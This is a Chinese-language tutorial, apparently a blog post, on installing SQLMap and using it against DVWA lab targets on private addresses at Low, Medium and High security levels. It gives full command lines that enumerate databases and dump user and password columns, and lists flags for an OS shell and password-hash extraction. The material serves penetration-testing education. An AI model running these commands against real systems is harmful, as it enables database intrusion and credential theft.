SQLMap 扫描利用SQL注入

一、SQLMap介绍

SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点
SQLMap采用了以下5种独特的SQL注入技术:
  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否己执行(即页面返回时间是否增加)来判断
  • 基于报错注入即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入,在可以使用Union 的情况下的注入。. 堆查询注入,可以同时执行多条语句时的注入
SQLMap 的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。

二、安装

1、安装git
    apt-get install git
2、克隆sqlmap
    git clone git://github.com/sqlmapproject/sqlmap.git
3、测试sqlmap是否正常工作,前提要安装python2:apt install python2
     cd sqlmap/
     ./sqlmap.py -h
查看sqlmap的命令字帮助手册
-"url"       #检测注入点
--dbs           #列出所有数据库的名称
--current-db    #列出当前数据库的名称
-D              #指定一个数据库
--table         #列出所有表名
-T              #指定表名
--columns       #列出所有字段名
-C              #指定字段
--dump          #列出字段内容
--os-shell      # 提示输入交互式操作系统shell
--os-cmd=OSCMD  # Execute an operating system command
--passwords     # 枚举DBMS用户密码哈希
-v VERBOSE用于设置输出消息的详细级别。存在七个级别的冗长。默认级别为 1。
  • 0:仅显示 Python 回溯、错误和关键消息。
  • 1:还显示信息和警告消息。
  • 2:还显示调试消息。
  • 3:还显示注入的有效负载。
  • 4:还显示 HTTP 请求。
  • 5:还显示 HTTP 响应的标头。
  • 6:还显示 HTTP 响应的页面内容。
sqlmap.py -u "注入地址"  --dbs            # 列举数据库
sqlmap.py -u "注入地址"  --current--db    # 当前数据库
sqlmap.py -u "注入地址"  --users          # 列数据库用户
sqlmap.py -u "注入地址"  --current--user  # 当前用户
sqlmap.py -u "注入地址"  --tables -D "数据库"   # 列举指定数据库的表名
sqlmap.py -u "注入地址"  --columns -T "表名" -D "数据库"  # 获取数据库表的列名
sqlmap.py -u "注入地址"  --dump -T "表名" -D "数据库"  # 获取数据库表的所有内容
sqlmap.py -u "注入地址" --dump -C "列名字1, 列名字2" -T "表名字" -D "数据库"   # 获取数据库下表的列信息

三、Kail自带的sqlmap更新

先输入 sqlmap -update命令 但是命令没有成功 看来是不对的。
1、找到sqlmap的安装路径 因为kali自带sqlmap所以一般的路径都是/usr/share/sqlmap;
2、cd /usr/share/
3、删除掉原来的sqlmap:rm -rf sqlmap
5、更新完成了输入sqlmap -h

四、kail+靶机演示

4.1、dvwa(Low)GET请求

4.1.1、环境准备

1、登录Metasploitable2靶机的http://192.168.11.105/dvwa,输入用户密码:admin/password, dvwa版本:  Version 1.0.7 (Release date: 08/09/10)
2、点击"DVWA Security",首先将难度调整为Low。
3、点击SQL Injection,我们在查询接口输入User Id为1进行查询,这时候生成的地址就是我们的目标注入点http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,同时Cookie的值是security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979

4.1.2、注入探测

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979"
可以看出,爆出了SQL注入漏洞,探测到数据库是mysql,版本4.1以上,所在操作系统Linux Ubuntu 8.04。
当SQLMap执行该命令时,它会执行以下步骤:
    1)判断可注入的参数;
    2)判断可以用哪种SQL注入技术来注入;
    3)识别出哪种数据库;
    4)根据用户选择,读取哪些数据。

4.1.3、获取所有数据库

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dbs
可以看出列出了7个数据库名。

4.1.4、获取指定数据库内的所有表

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --tables -D dvwa

4.1.5、查看用户表中的所有数据

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dump -T users -D dvwa

4.1.6、获取指定表中列名

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --columns -T users -D dvwa

4.1.7、获取指定表中指定列的值

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dump -C "user, password" -T users -D dvwa
dvwa版本:  Version 1.0.7 (Release date: 08/09/10),调整为medium级别后,SQL注入还是GET方式,跟low级别一样,推测是dvwa版本太低导致。
故docker搭建新的一套dvwa环境(docker run --name dvwa -d -p 80:80 -p 3306:3306 -e MYSQL_PASS="root" citizenstig/dvwa,dvwa版本: Version 1.9 (Release date: 2015-09-19))。

4.2、dvwa(Medium) POST请求

dvwa版本: Version 1.9 (Release date: 2015-09-19)

4.2.1、调整靶场难度等级为中级

4.2.2、确定注入点

难度调整为中级之后,请求方式变成了post,查询输入接口由手动输入变成了选择方式,且在url不会直接显示我们的查询请求。
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium

4.2.3、注入探测

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"

4.2.4、获取所有数据库

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --dbs
可以看出列出了4个数据库名。

4.2.5、获取指定数据库内的所有表

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --tables -D dvwa

4.2.6、查看用户表中的所有数据

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"  --dump -T users -D dvwa

4.2.7、获取指定表中列名

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"  --columns -T users -D dvwa

4.2.8、获取指定表中指定列的值

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"  --dump -C "user, password" -T users -D dvwa

4.3、dvwa(High)

dvwa版本: Version 1.9 (Release date: 2015-09-19)

4.3.1、调整级别

将DVWA难度调整为high之后,可以看到high等级的输入查询在弹窗进行输入,而数据显示确在原窗口进行显示。
原窗口数据包请求方式为GET
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high
弹出的输入窗口请求方式为POST
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high
负载:id=1&Submit=Submit

4.3.2、需要用到联合查询命令‘second-url’

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/session-input.php" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high" --data "id=1&Submit=Submit" --second-u "http://192.168.11.135/vulnerabilities/sqli/"

4.4、dvwa(Impossible)

dvwa版本: Version 1.9 (Release date: 2015-09-19)
Low、Medium、High级别其实都是通过限制数据输入来起到防护作用,而我们在手工注入的时候通过使用burpsuit等抓包工具篡改数据包都是可以绕过它的限制的。
Impossible等级则是在数据传到后端之后先进行了格式验证,然后还使用了PDO预处理。人家都说了Impossible,目前是无法进行注入的。
 

五、-r参数(从文本文件中获取http请求)

命令实例: sqlmap -r /usr/a.txt
说明:使用该命令时须指明a.txt(保存着http请求包)文件所在的绝对路径
验证过程与-u参数类似
  1. 判断可注入的参数
  2. 判断可以用哪种SQL注入技术来注入
  3. 识别出所有存在的注入类型
  4. 尝试去判定数据库版本、开发语言、操作系统版本

5.1、dvwa(Low) GET请求

利用Burpsuite截取HTTP Request报文,将截取到的HTTP Request报文保存在文本文件中
爆当前数据库的库名sqlmap -r /usr/share/sqlmap/zq.txt --current-db
生成缓存:/root/.local/share/sqlmap/output/192.168.11.135

5.2、dvwa(Medium) POST请求

利用Burpsuite截取HTTP Request报文,将截取到的HTTP Request报文保存在文本文件中
删除缓存:rm -rf  /root/.local/share/sqlmap/output/192.168.11.135
爆当前数据库的库名sqlmap -r /usr/share/sqlmap/zq.txt --current-db 
 

六、参考

  • 2
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值